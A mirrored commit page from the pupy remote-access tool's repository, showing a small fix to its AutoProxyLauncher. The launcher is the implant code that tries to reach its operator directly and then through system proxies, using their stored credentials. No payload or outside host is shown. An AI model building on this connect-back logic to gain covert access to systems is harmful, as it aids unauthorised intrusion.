mirror of https://github.com/n1nj4sec/pupy.git
auto_proxy launcher fix
This commit is contained in:
parent
b539e7bff2
commit
7a740d4564
|
@ -157,7 +157,7 @@ class AutoProxyLauncher(BaseLauncher):
|
||||||
|
|
||||||
#first we try without any proxy :
|
#first we try without any proxy :
|
||||||
try:
|
try:
|
||||||
t=copy.deepcopy(network.conf.transports[self.args.transport])
|
t=network.conf.transports[self.args.transport]()
|
||||||
client_args=t.client_kwargs
|
client_args=t.client_kwargs
|
||||||
transport_args=t.client_transport_kwargs
|
transport_args=t.client_transport_kwargs
|
||||||
for val in opt_args:
|
for val in opt_args:
|
||||||
|
@ -169,6 +169,12 @@ class AutoProxyLauncher(BaseLauncher):
|
||||||
logging.warning("unknown transport argument : %s"%tab[0])
|
logging.warning("unknown transport argument : %s"%tab[0])
|
||||||
logging.info("using client options: %s"%client_args)
|
logging.info("using client options: %s"%client_args)
|
||||||
logging.info("using transports options: %s"%transport_args)
|
logging.info("using transports options: %s"%transport_args)
|
||||||
|
try:
|
||||||
|
t.parse_args(transport_args)
|
||||||
|
except Exception as e:
|
||||||
|
#at this point we quit if we can't instanciate the client
|
||||||
|
raise SystemExit(e)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
client=t.client(**client_args)
|
client=t.client(**client_args)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
|
@ -186,7 +192,7 @@ class AutoProxyLauncher(BaseLauncher):
|
||||||
#then with proxies
|
#then with proxies
|
||||||
for proxy_type, proxy, proxy_username, proxy_password in get_proxies():
|
for proxy_type, proxy, proxy_username, proxy_password in get_proxies():
|
||||||
try:
|
try:
|
||||||
t=copy.deepcopy(network.conf.transports[self.args.transport])
|
t=network.conf.transports[self.args.transport]()
|
||||||
client_args=t.client_kwargs
|
client_args=t.client_kwargs
|
||||||
transport_args=t.client_transport_kwargs
|
transport_args=t.client_transport_kwargs
|
||||||
for val in opt_args:
|
for val in opt_args:
|
||||||
|
|
Loading…
Reference in New Issue